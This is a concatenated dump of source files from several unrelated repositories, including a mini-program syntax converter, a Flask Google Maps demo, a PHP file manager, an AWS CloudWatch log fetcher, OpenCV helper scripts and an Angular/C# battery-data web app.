getCssSuffix(mpType) { return mpType === 'wx' ? '.wxss' : mpType === 'baidu' ? '.swan' : '.acss'; } function getCondition(mpType) { return mpType === 'wx' ? 'wx:' : mpType === 'baidu' ? 's-' : 'a:'; } function getNamespace(mpType) { return mpType === 'wx' ? 'wx' : mpType === 'baidu' ? 'swan' : 'my'; } export default { getFiles, getConfig, getXMLSuffix, getCssSuffix, getCondition, getNamespace }<file_sep>/README.md ## mp-converter ## 介绍 mp-converter 是一个小程序语法转换器,可以在微信,百度,支付宝小程序之间互相转换,免去手动改文件后缀以及命名空间的烦恼。 ## 安装 npm install mp-converter -g ## 使用 ```console cd myproject mpc build [options] ``` ### options | 可选参数 | 可选参数全称 | 值 | | ---- | -------- | ----------------------------- | | -t | --target | 目标小程序,可选值'wx', 'baidu', 'ant' | | -f | --from | 原小程序,可选值'wx', 'baidu', 'ant' | | -o | --output | 目标文件夹 | mp-converter会优先使用命令行参数,如果没有则会在项目根目录下面寻找mpc.config.js配置文件,mpc.config.js写法如下: ```console exports = module.exports = { from: 'wx', target: 'baidu', output: 'D:/tempTest' } ``` ### License MIT<file_sep>/src/cache.js export default { setOutputDir(dir) { this.dir = dir; }, getOutputDir () { return this.dir || null; }, setTargetMpType(type) { this.mpType = type; }, getTargetMpType() { return this.mpType || null; }, setOriginMptype (type) { this.originType = type; }, getOriginMptype () { return this.originType || null; } }
b1425a309f1d4d9578d3c1a6942d830be96106de
[ "JavaScript", "Markdown" ]
5
JavaScript
ccpend/mp-converter
5c56c9a8f30d9c2cf917110e3c0e9fc29bf69709
faf075cdbd5c37251f2e4a97c4a92e3229aa643b
refs/heads/master
<file_sep>import os from flask import Flask from flask import render_template from dotenv import load_dotenv, find_dotenv load_dotenv(find_dotenv(), override=True) app = Flask(__name__) @app.route('/') def root(): return render_template('index.html') @app.route('/maps/embed/') def maps_embed(): return render_template('maps/embed.html', GOOGLE_API=os.getenv('GOOGLE_API') ) @app.route('/maps/static/') def maps_static(): return render_template('maps/static.html', GOOGLE_API=os.getenv('GOOGLE_API') ) @app.route('/maps/dynamic/') def maps_dynamic(): return render_template('maps/dynamic.html', GOOGLE_API=os.getenv('GOOGLE_API') ) @app.route('/places/autocomplete/') def places_autocomplete(): return render_template('places/autocomplete.html', GOOGLE_API=os.getenv('GOOGLE_API') ) @app.route('/mapbox/example/') def mapbox_example(): return render_template('mapbox/example.html') @app.route('/maps/reverse_geocoding.html') def maps_reverse_geocoding(): return render_template('maps/reverse_geocoding.html', GOOGLE_API=os.getenv('GOOGLE_API'))<file_sep>{% extends 'base.html' %} {% set title = 'Maps/Dynamic - Simple Case' %} {% block title %}{{ title }}{% endblock %} {% block map_case %}{{ title }}{% endblock %} {% block page_specific_javascript %} <script src="https://maps.googleapis.com/maps/api/js?key={{ GOOGLE_API }}"></script> {% endblock %} {% block content %} <div class="maps-dynamic"> <div id="map"> </div> </div> <h3><a href="https://developers.google.com/maps/billing/understanding-cost-of-use?hl=en_GB#places-product">It is charged - Pricing Details</a></h3> {% endblock %}
f1a50daf90cd6c77c8351cfa9f1a151bae95176c
[ "Python", "HTML" ]
2
Python
pmatsinopoulos/test_google_autocomplete
9da3a18589e607e47d98ed8478533ecc4ae2a330
0bdf0c3aa9f9464098e6a5ec0769e239c698fcfd
refs/heads/main
<repo_name>aarav21/Frame-around-Webcam---P5.js<file_sep>/main.js function setup(){ canvas = createCanvas(400,300); canvas.position(250,350) video = createCapture(VIDEO); video.hide(); tintColor="" } function draw(){ image(video, 0,0,400,300) tintColor = document.getElementById("color").value; tint(tintColor) stroke("crimson"); fill("cadetblue") circle(30, 30, 20); circle(30,270,20) circle(370,270,20) circle(370, 30, 20); } function takeSnapshot(){ save("your_image.png"); }
b0976d3af8aa11807c43d53581161bb0b279104c
[ "JavaScript" ]
1
JavaScript
aarav21/Frame-around-Webcam---P5.js
9526dedd18b4c277a958ba89985419556ae4592a
7f7ad5a6deef2b58b4cb65e903c53c31e58fe7a2
refs/heads/master
<repo_name>huangweijie0308/file-manage<file_sep>/src/file/File.php <?php // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: huangweijie <<EMAIL>> // +---------------------------------------------------------------------- namespace huangweijie\file; class File { /** * 文档根目录 * @var string */ private $rootPath; /** * 当前路径 file || folder * @var string */ private $path = ''; /** * 当前动作 * @var string */ private $action; /** * @var string */ private $templatePath; /** * @var array */ private $headers = []; /** * @var string */ private $output; /** * @var string */ private $file; /** * @var array */ private $allowFileOperation = ['down']; public function __construct($allowFileOperation = []) { empty($allowFileOperation) || $this->allowFileOperation = $allowFileOperation; $this->init(); } private function init() { $this->templatePath = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'template' . DIRECTORY_SEPARATOR; $this->path = empty($_GET['p'])? '': urldecode($_GET['p']); $this->action = 'ls'; if (!empty($_GET['file'])) { $this->file = trim($_GET['file']); $this->action = empty($_GET['a'])? 'cat': trim($_GET['a']); } } public function setRootPath($rootPath) { $this->rootPath = $rootPath; return $this; } public function setPath($path) { $this->path = $path; return $this; } public function setAction($action) { $this->action = $action; return $this; } protected function catalog($path) { $objects = is_readable($path) ? scandir($path) : []; $folders = []; $files = []; if (is_array($objects)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } $newPath = $path . DIRECTORY_SEPARATOR . $file; if (is_file($newPath)) { $files[] = $file; } elseif (is_dir($newPath) && $file != '.' && $file != '..') { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } return ['files' => $files, 'folders' => $folders]; } protected function catalogInfo($path) { $catalogInfo = [ 'list' => [], 'statistics' => '', ]; $number = 1; $totalFileSize = 0; $totalFileNunber = $totalFolderNunber = 0; foreach ($this->catalog($path) as $type => $catalog) { if (!in_array($type, ['files', 'folders'])) { continue; } foreach ($catalog as $typeItem) { $currentPath = $path . DIRECTORY_SEPARATOR . $typeItem; $fileSize = 'Folder'; if ($type != 'folders') { $totalFileSize += $fileSize = filesize($currentPath); $totalFileNunber++; } else { $totalFolderNunber++; } $catalogInfo['list'][] = [ 'number' => $number, 'name' => $typeItem, 'parent' => '', 'type' => $type, 'size' => $type == 'folders'? 'Folder': $this->filesize($fileSize), 'modifiedTime' => date('Y-m-d H:i:s', filemtime($path . DIRECTORY_SEPARATOR . $typeItem)) ]; $number++; } } $catalogInfo['statistics'] = '总文件数:' . $totalFileNunber . '&nbsp&nbsp总文件大小:' . $this->filesize($totalFileSize) . '&nbsp&nbsp总文件夹数:' . $totalFolderNunber; return $catalogInfo; } protected function filesize($size) { if ($size < 1000) { return sprintf('%s B', $size); } elseif (($size / 1024) < 1000) { return sprintf('%s K', round(($size / 1024), 2)); } elseif (($size / 1024 / 1024) < 1000) { return sprintf('%s M', round(($size / 1024 / 1024), 2)); } elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf('%s G', round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf('%s T', round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } protected function view($template, $data = []) { $file = $this->templatePath . $template; if (file_exists($file)) { extract($data); ob_start(); require($file); $output = ob_get_contents(); ob_end_clean(); } else { throw new LogicException('Error: Could not load template ' . $file . '!'); } return $output; } protected function output() { if ($this->output) { if (!headers_sent()) { foreach ($this->headers as $header) { header($header, true); } } echo $this->output; } } protected function show($data = []) { $this->output = $this->view('show.html', $data); $this->output(); } protected function del($path, $data = []) { $file = $this->rootPath . DIRECTORY_SEPARATOR . $this->path . DIRECTORY_SEPARATOR . $this->file; @unlink($file); return $this->ls($path, $data); } protected function down() { $file = $this->rootPath . DIRECTORY_SEPARATOR . $this->path . DIRECTORY_SEPARATOR . $this->file; if (!is_file($file)) { header('HTTP/1.1 404 NOT FOUND'); } $fileHandle = fopen ($file, "rb"); Header("Content-type: application/octet-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length: " . filesize($file)); Header("Content-Disposition: attachment; filename=" . $this->file); $stream = fopen('php://output', 'w'); @fwrite($stream, fread ($fileHandle, filesize($file))); } protected function cat($path, $data = []) { $file = $this->rootPath . DIRECTORY_SEPARATOR . $this->path . DIRECTORY_SEPARATOR . $this->file; if (!is_file($file)) { return; } $catData = []; $catData['content'] = str_replace("\r\n","<br/>", file_get_contents($file)); $catData['breadcrumb'] = $this->view('breadcrumb.html', ['path' => empty($this->path)? $this->file: urlencode($this->path . '/' . $this->file)]); $data = array_merge([ 'header' => '', 'content' => '', 'footer' => '', ], $data); $data['content'] = $this->view('cat.html', $catData); $this->show($data); } protected function ls($path, $data = []) { $lsData = []; $lsData['catalogInfo'] = $this->catalogInfo($path); $lsData['path'] = empty($this->path)? '': urlencode($this->path); $lsData['breadcrumb'] = $this->view('breadcrumb.html', ['path' => $lsData['path']]); $lsData['authority'] = $this->allowFileOperation; $data = array_merge([ 'header' => '', 'content' => '', 'footer' => '', ], $data); $data['content'] = $this->view('ls.html', $lsData); $this->show($data); } public function handle() { if (!isset($this->rootPath)) { throw new \LogicException("The root directory is not set."); } $path = $this->rootPath; if (!empty($this->path)) { $path .= DIRECTORY_SEPARATOR . $this->path; } $data = []; $data['header'] = $this->view('header.html'); $data['footer'] = $this->view('footer.html'); if (!is_callable([$this, $this->action])) { throw new \InvalidArgumentException("invalid operation : " . $this->action); } $this->{$this->action}($path, $data); } }<file_sep>/README.md # file-manage #### 安装教程 ```shell composer require huangweijie/file-manage ``` ###### 用法 ``` <?php use huangweijie\file\File; $filemanager = new File(); $filemanager->setRootPath($filePath)->handle(); ``` ###### 效果 ![preview](https://raw.githubusercontent.com/huangweijie0308/file-manage/master/preview.png)
821e0ba0f3e56c379c9c95adce5d36a66fe8c3c9
[ "Markdown", "PHP" ]
2
PHP
huangweijie0308/file-manage
7a01028004c4cf0f31c3594908e33b8f7e012bcb
98355c48516daa99612dfd4a3f6bdffbf4336298
refs/heads/master
<repo_name>Audre/cis237inclass2<file_sep>/cis237inclass2/Hanoi.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace cis237inclass2 { class Hanoi { public void moveDisk(int n, char source, char auxilary, char destination) { // base case to exit recursive loop. if (n == 1) { // since we only have to move one disk (n = 1), we don't want to make another // recursive call. we just wnat to output the move that we are performing. Console.WriteLine("Move disk from tower {0} to tower {1}.", source, destination); } else { //NOTE: the descriptions of source, axulary, and destination are referring to // the first time this moveDisk method is called. As recursion works, it may // not make sense to associate the work source with a peg letter. // attempt to move (n-1) disks from source location (A) to auxilary location (B), using // the destination (C) as temprary storage. moveDisk(n - 1, source, destination, auxilary); // move the source disk (A) to the destination (C) moveDisk(1, source, auxilary, destination); // move the (n-1) disks from auxilary (B) to destination (C) using the beginning (A) // as temporary storage. moveDisk(n - 1, auxilary, source, destination); } } } }
77763e5b9c08dda857c65761bd8189a8ff307721
[ "C#" ]
1
C#
Audre/cis237inclass2
a8c5aff9440ac540a9f12735afe25dc186f99f30
e33b669b0c518d30604a1482e559182d7217ec24
refs/heads/master
<file_sep># Temp Hooks <file_sep>// @ts-nocheck import React, { useState } from 'react' export default function Title() { return <> <h1>Temperature in °K</h1> </> }
34e9c7ddb327870bede8fe526980e6d911aa01a0
[ "Markdown", "JavaScript" ]
2
Markdown
jbryan382/temp-hooks
3dc858a8bba8e02b81f400c2327df9f999e6f5e9
a968c75bbbab8a187ad48c99c84fc3047fa46787
refs/heads/master
<file_sep>import os import sys path = os.getcwd() name = sys.argv[1] path = path+'/'+name files = os.listdir(path) i=1 for file in files: os.rename(os.path.join(path,file), os.path.join(path, name+'.'+str(i)+'.jpg')) i+=1 <file_sep># Helper Scripts Collection of scripts that I frequently use in my Image Processing and Computer Vision Task ## Requirements - aug.py - requires <a href =https://github.com/mdbloice/Augmentor>Augmentor</a> - batch_resize.py - requires PIL - cv-pil.py - requires OpenCV and PIL - rename.py - no requirements - resize.py - requires OpenCV - video2snaps.py - reqires OpenCV - wbscrp.py - requires urllib2 ## Usage - aug.py - To augment images in a folder ``` python aug.py folder_name ``` - batch_resize.py - To resize all images in a folder ``` python batch_resize.py folder_name height width ``` - cv-pil.py - OpenCV and PIL conversions - rename.py - To rename all files in a folder ``` python rename.py folder_name ``` - resize.py - To resize a single image ``` python resize.py image_name height width ``` - video2snaps.py - reqires OpenCV ``` python video2snaps.py video_file_name ``` - wbscrp.py - requires urllib2 ``` python wbscrp.py search_keyword ``` <file_sep>import cv2 import numpy as np center = None y,u,v = 0,108,226 cap = cv2.VideoCapture(0) pts = [] fourcc = cv2.VideoWriter_fourcc(*'XVID') out = cv2.VideoWriter('output.avi',fourcc, 20.0, (640,480)) while True: ret, frame = cap.read() img_yuv = cv2.cvtColor(frame, cv2.COLOR_BGR2YUV) mask = cv2.inRange(img_yuv, (np.array([0,u-30,v-30])), (np.array([255,u+30,v+30]))) im2, contours, hierarchy = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE) if len(contours)>0: (x,y),radius = cv2.minEnclosingCircle(contours[0]) if radius > 5: cv2.circle(frame, (int(x),int(y)), 5, (0, 0, 255), -1) center = int(x),int(y) pts.append(center) for i in range(1, len(pts)): try: cv2.line(frame, pts[i], pts[i+1], (255,0,0),2) except: continue cv2.imshow("abc",frame) out.write(frame) if cv2.waitKey(1) == 27: cv2.imwrite("kedar_bhaiya.png",frame) break out.release() cap.release() cv2.destroyAllWindows() <file_sep>import itertools text = "aforapple" text_list = list(text) new_text = [k for k,g in itertools.groupby(text_list)] print("".join(new_text) <file_sep>import cv2 from PIL import Image import numpy as np import sys # PIL to openCV conversion im = Image.open("/home/amrit/Desktop/SRM/codes/{}".format(sys.argv[1])) im.show() cv = cv2.cvtColor(numpy.array(im), cv2.COLOR_RGB2BGR) cv2.imshow("cv",cv) cv2.waitKey(0) # OpenCV to PIL conversion im = cv2.imread("/home/amrit/Desktop/SRM/codes/{}".format(sys.argv[1])) cv = cv2.cvtColor(numpy.array(im), cv2.COLOR_BGR2RGB) im = Image.fromarray(cv) im.show() <file_sep>import cv2 import numpy as np try: index = int(sys.argv[1]) else: index = 0 cap = cv2.VideoCapture(index) ret = True while ret: ret, frame = cv2.VideoCapture(index) #algorithms below here cv2.imshow("Display",frame) if cv2.waitKey(1) == 27: break if cv2.waitKey(1) == ord('c'): cv2.imwrite("frame.png",frame) cap.release() cv2.destroyAllWindows() <file_sep>#include "opencv2/imgproc.hpp" #include "opencv2/highgui.hpp" #include <iostream> using namespace cv; //72,138 const String window_capture_name = "Video Capture"; const String window_detection_name = "Object Detection"; int low_Y = 0, low_U = 0, low_V = 0; int high_Y = 255, high_U = 255, high_V = 255; int Y,U,V; static void on_Y_thresh_trackbar(int, void *) { //Y = min(high_Y-1, low_Y); setTrackbarPos("Y", window_detection_name, Y); } static void on_U_thresh_trackbar(int, void *) { //U = min(high_U-1, low_U); setTrackbarPos("U", window_detection_name, U); } static void on_V_thresh_trackbar(int, void *) { //V = m(high_V-1, low_V); setTrackbarPos("V", window_detection_name, V); } int main(int argc, char* argv[]) { VideoCapture cap(argc > 1 ? atoi(argv[1]) : 0); namedWindow(window_capture_name); namedWindow(window_detection_name); createTrackbar("Y", window_detection_name, &Y, 255, on_Y_thresh_trackbar); createTrackbar("U", window_detection_name, &U, 255, on_U_thresh_trackbar); createTrackbar("V", window_detection_name, &V, 255, on_V_thresh_trackbar); Mat frame, frame_YUV, frame_threshold; while (true) { cap >> frame; if(frame.empty()) { break; } cvtColor(frame, frame_YUV, COLOR_BGR2YUV); inRange(frame_YUV, Scalar(0,U-30,V-30), Scalar(255, U+30, V+30), frame_threshold); imshow(window_capture_name, frame); imshow(window_detection_name, frame_threshold); char key = (char) waitKey(30); if (key == 'q' || key == 27) { break; } } return 0; }<file_sep>import cv2 import numpy as np import sys image = sys.argv[1] img = cv2.imread(image) size = (int(sys.argv[2]),int(sys.argv[3])) res = cv2.resize(img, size) cv2.imwrite("output1.jpg",res) cv2.waitKey(0)
a3e48885987e895d0d33b5dd903d51aaf4d21ce6
[ "Markdown", "Python", "C++" ]
8
Python
das-amrit/helper_scripts
fdca380e55bfaee5cf5fb3365421931513501db7
2e17c0c585356dd6cf9bd84b5082f6a20dd815f7
refs/heads/master
<repo_name>altoveros/test<file_sep>/print.py RRTable = {} Flag = True while Flag: name = input('Enter the host or domain name (Exit to quit program): ' ) if name == "exit": Flag = False else: DNSQuery = input('Enter the type of DNS query (0. A, 1. AAAA, 2. CNAME, 3. NS: ') if "name" in RRTable: print(name + " already exists. ") else: RRTable["Name"] = name RRTable["Type"] = DNSQuery print("Added: " + name)
19591e8bb7a640aceca86f77464976be6e00f9a4
[ "Python" ]
1
Python
altoveros/test
88573521071116bc3f7488021a62a8eb8cd99801
d07334559a0a26d57762cbaf8c7419a0f4be4cdc
refs/heads/master
<repo_name>go6887/aws-cloudwatch-logs<file_sep>/README.md # aws-cloudwatch-logs AWS CloudWatchからPythonでLogを取得 ## Usage ``` python get_cloudwatch_logs.py --from_date YYYY-MM-DD --to_date YYYY-MM-DD --group_name /aws/lambda/xxxx --profile default ``` <file_sep>/get_cloudwatch_logs.py import boto3 from datetime import datetime, date, timedelta import argparse def get_log_streams(client, group_name, from_date=date.today(), to_date=date.today()): """関数の説明タイトル 指定したロググループから指定した期間分のログストリームを取得 Args: client: boto3.Session(profile_name='xxx') などaws cliのprofile group_name: CloudWatch LogsのLog groupsの名前 from_date: 取得したいログの初日 デフォルトは当日 to_date: 取得したいログの最終日 デフォルトは当日 Returns: 戻り値の型: cloudwatchのログ """ next_token = None day_diff = (to_date - from_date).days + 1 result = [] for i in range(day_diff) : target_date = from_date + timedelta(i) while 1: if next_token is not None and next_token != '': response = client.describe_log_streams( logGroupName=group_name, logStreamNamePrefix = target_date.strftime("%Y/%m/%d"), descending=True, nextToken=next_token ) else: response = client.describe_log_streams( logGroupName=group_name, logStreamNamePrefix = target_date.strftime("%Y/%m/%d"), descending=True, ) result += get_log_events(client, response, group_name) if 'nextToken' not in response: break else: next_token = response['nextToken'] return result def get_log_events(client, response, group_name): """関数の説明タイトル 指定したストリームのLog eventsを取得 Args: client: boto3.Session(profile_name='xxx') などaws cliのprofile group_name:client.describe_log_streamsのresponse group_name: CloudWatch LogsのLog groupsの名前 """ result = [] for stream in response['logStreams']: stream_name = stream['logStreamName'] # ログを取得 logs = client.get_log_events( logGroupName=group_name, logStreamName=stream_name, startFromHead=True ) result += logs['events'] while True: prev_token = logs['nextForwardToken'] logs = client.get_log_events( logGroupName=group_name, logStreamName=stream_name, nextToken=prev_token) result += logs['events'] if logs['nextForwardToken'] == prev_token: break return result if __name__ == "__main__": parser = argparse.ArgumentParser(description='Get CloudWatch Logs') # hyper-parameter parser.add_argument('--from_date', default=date.today().strftime("%Y-%m-%d"), type=str, help='aggregates from, with format YYYY-MM-DD') parser.add_argument('--to_date', default=date.today().strftime("%Y-%m-%d"), type=str, help='aggregates to, with format YYYY-MM-DD') parser.add_argument('--group_name', type=str, help='Log groups Name') parser.add_argument('--profile', default='default', type=str, help='aws profile name to access') args = parser.parse_args() try: from_date = date.fromisoformat(args.from_date) to_date = date.fromisoformat(args.to_date) except ValueError: raise ValueError("Incorrect date format, should be YYYY-MM-DD") # AWSセッション session = boto3.Session(profile_name=args.profile) # ロググループ名 group_name = args.group_name # ログストリーム一覧を取得 client = session.client('logs') result = get_log_streams(client, group_name, from_date, to_date) print(result)
6c1b0b32f01955d9d0b18f67d4d99b2c5f6c157e
[ "Markdown", "Python" ]
2
Markdown
go6887/aws-cloudwatch-logs
c1021ddde0f33efb6bbfada56b5487d3d0f3d9f8
e4be22f3302bd17744853b9b664967145462a9b3
refs/heads/master
<repo_name>dqdv/DqDv<file_sep>/WebApp/src/app/auth/state/auth.effects.ts import { Injectable } from "@angular/core"; import { Router } from "@angular/router"; import { Actions, Effect } from "@ngrx/effects"; import { Observable } from "rxjs/Observable"; import "rxjs/add/observable/empty"; import "rxjs/add/observable/of"; import "rxjs/add/operator/map"; import "rxjs/add/operator/switchMap"; import * as forRoot from "./auth.actions"; import { AuthService } from "./auth.service"; @Injectable() export class AuthEffects { @Effect() onLogin = this.actions$ .ofType(forRoot.LOGIN) .switchMap((action: forRoot.Login) => this.authService .login(action.username, action.password, action.rememberMe) .map(response => response.success ? new forRoot.LoginSucceeded(response.username) : new forRoot.LoginFailed(response.message || "Invalid username and/or password")) .catch(error => Observable.of(new forRoot.LoginFailed("Network error"))) ); @Effect() onSignup = this.actions$ .ofType(forRoot.SIGNUP) .switchMap((action: forRoot.Signup) => this.authService .signup(action.username, action.email, action.password) .map(response => response.success ? new forRoot.SignupSucceeded() : new forRoot.SignupFailed(response.message || "Unknown error")) .catch(error => Observable.of(new forRoot.SignupFailed("Network error"))) ); @Effect({ dispatch: false }) onLoginSucceeded = this.actions$ .ofType(forRoot.LOGIN_SUCCEEDED) .do(() => this.router.navigate(["/projects"])); @Effect({ dispatch: false }) onSignupSucceeded = this.actions$ .ofType(forRoot.SIGNUP_SUCCEEDED) .do(() => this.router.navigate(["/signup-success"])); @Effect() onLogoff = this.actions$ .ofType(forRoot.LOGOFF) .switchMap(() => this.authService.logoff() .map(() => new forRoot.LogoffSucceeded()) .catch(error => Observable.of(new forRoot.LogoffFailed(error)))); @Effect({ dispatch: false }) onUnauthorized = this.actions$ .ofType(forRoot.UNAUTHORIZED, forRoot.LOGOFF_SUCCEEDED, forRoot.LOGOFF_FAILED) .do(() => this.router.navigate(["/login"])); @Effect() onAcquirePasswordReset = this.actions$ .ofType(forRoot.ACQUIRE_PASSWORD_RESET) .switchMap((action: forRoot.AcquirePasswordReset) => this.authService .acquirePasswordReset(action.username) .map(response => response.success ? new forRoot.AcquirePasswordResetSucceeded() : new forRoot.AcquirePasswordResetFailed(response.message || "Unknown error")) .catch(error => Observable.of(new forRoot.AcquirePasswordResetFailed("Network error"))) ); @Effect({ dispatch: false }) onAcquirePasswordResetSucceeded = this.actions$ .ofType(forRoot.ACQUIRE_PASSWORD_RESET_SUCCEEDED) .do(() => this.router.navigate(["/password-reset-acquired"])); @Effect() onResetPassword = this.actions$ .ofType(forRoot.RESET_PASSWORD) .switchMap((action: forRoot.ResetPassword) => this.authService .resetPassword(action.id, action.code, action.password) .map(response => response.success ? new forRoot.ResetPasswordSucceeded() : new forRoot.ResetPasswordFailed(response.message || "Unknown error")) .catch(error => Observable.of(new forRoot.ResetPasswordFailed("Network error"))) ); @Effect({ dispatch: false }) onResetPasswordSucceeded = this.actions$ .ofType(forRoot.RESET_PASSWORD_SUCCEEDED) .do(() => this.router.navigate(["/reset-password-success"])); constructor(private actions$: Actions, private authService: AuthService, private router: Router) { } } <file_sep>/WebApp/Models/Helper.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using WebApp.Models.Plots; namespace WebApp.Models { public class Helper { public enum AggregationType { None = 0, Default = 1, VisvalingamWhyatt = 2 } internal static PlotSeries AddPlotSeries(string axisText, string name, string title) { bool exists = axisText.Contains(title); return new PlotSeries { Name = name, Selected = exists, Title = exists ? axisText : title }; } internal static PlotSeries AddPlotSeries(string[] axisText, string name, string title) { foreach (var value in axisText) { if (value.Contains(title)) { return new PlotSeries { Name = name, Selected = value.Contains(title), Title = value }; } new PlotSeries { Name = name, Selected = false, Title = title }; } return new PlotSeries { Name = name, Selected = false, Title = title }; } } }<file_sep>/WebApp/WebApiExceptionHandler.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Data.SqlClient; using System.Net; using System.Net.Http; using System.Threading; using System.Threading.Tasks; using System.Web.Http; using System.Web.Http.ExceptionHandling; using System.Web.Http.Results; namespace WebApp { class WebApiExceptionHandler : IExceptionHandler { #region Public methods public static bool IsHandled(HttpRequestMessage request, Exception ex) { return IsDivideByZeroInGetProjects(request, ex); } #endregion #region IExceptionHandler implementation public virtual Task HandleAsync(ExceptionHandlerContext context, CancellationToken cancellationToken) { if (IsDivideByZeroInGetProjects(context.Request, context.Exception)) context.Result = HandleDivideByZeroInGetProjects(context.Request); return Task.CompletedTask; } #endregion #region Private methods private static bool IsDivideByZeroInGetProjects(HttpRequestMessage request, Exception ex) { return request != null && ex != null && request.Method == HttpMethod.Get && request.RequestUri.AbsolutePath == "/odata/projects" && IsDivideByZero(ex); } private static bool IsDivideByZero(Exception ex) { if (ex is SqlException sqlEx && sqlEx.Number == 8134) return true; return ex.InnerException != null && IsDivideByZero(ex.InnerException); } private static IHttpActionResult HandleDivideByZeroInGetProjects(HttpRequestMessage request) { const string message = "Division by zero encountered while applying the filter"; var response = request.CreateResponse(HttpStatusCode.BadRequest, new HttpError(message)); return new ResponseMessageResult(response); } #endregion } } <file_sep>/WebApp/src/app/auth/guard/auth.guard.ts import { Injectable } from "@angular/core"; import { CanActivate, Router } from "@angular/router"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import { AppState } from "../../state"; @Injectable() export class AuthGuard implements CanActivate { constructor(private store: Store<AppState>, private router: Router) { } canActivate(): Observable<boolean> { return this.store .select(s => s.auth.loggedIn) .do(val => { if (!val) { this.router.navigate(["/login"]); } }); } } <file_sep>/WebApp/src/app/preferences/state/preferences.actions.ts import { Action } from "@ngrx/store"; import { UserPreferences } from "../model/preferences.model"; export const VIEW_USER_PREFERENCES = "USER_PREFERENCES: VIEW_USER_PREFERENCES"; export const VIEW_USER_PREFERENCES_SUCCEEDED = "USER_PREFERENCES: VIEW_USER_PREFERENCES_SUCCEEDED"; export const SET_USER_PREFERENCES_SETTINGS = "USER_PREFERENCES: SET_USER_PREFERENCES_SETTINGS"; export const USER_PREFERENCES_FAILED = "USER_PREFERENCES: USER_PREFERENCES_FAILED"; export class ViewUserPreferences implements Action { readonly type = VIEW_USER_PREFERENCES; constructor() { } } export class ViewUserPreferencesSucceeded implements Action { readonly type = VIEW_USER_PREFERENCES_SUCCEEDED; constructor(public userPreferences: UserPreferences) { } } export class SetUserPreferencesSettings implements Action { readonly type = SET_USER_PREFERENCES_SETTINGS; constructor(public userPreferences: UserPreferences) { } } export class UserPreferencesSettingsFailed implements Action { readonly type = USER_PREFERENCES_FAILED; constructor(public error: string) { } } export type UserPreferencesAction = ViewUserPreferences | ViewUserPreferencesSucceeded | SetUserPreferencesSettings | UserPreferencesSettingsFailed<file_sep>/WebApp/Services/ProjectPlotCache.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Runtime.Caching; namespace WebApp.Services { /// <summary> /// Project plot cache /// </summary> public class ProjectPlotCache { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private static readonly MemoryCache Cache = new MemoryCache("Projects"); //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// /// <summary> /// Store object in the cache /// </summary> /// <param name="key">Entry key</param> /// <param name="value">Instance to store in the cache</param> /// <param name="policy">Eviction</param> public void Set(string key, object value, CacheItemPolicy policy) { Cache.Set(key, value, policy); } /// <summary> /// Returns object from the cache /// </summary> /// <param 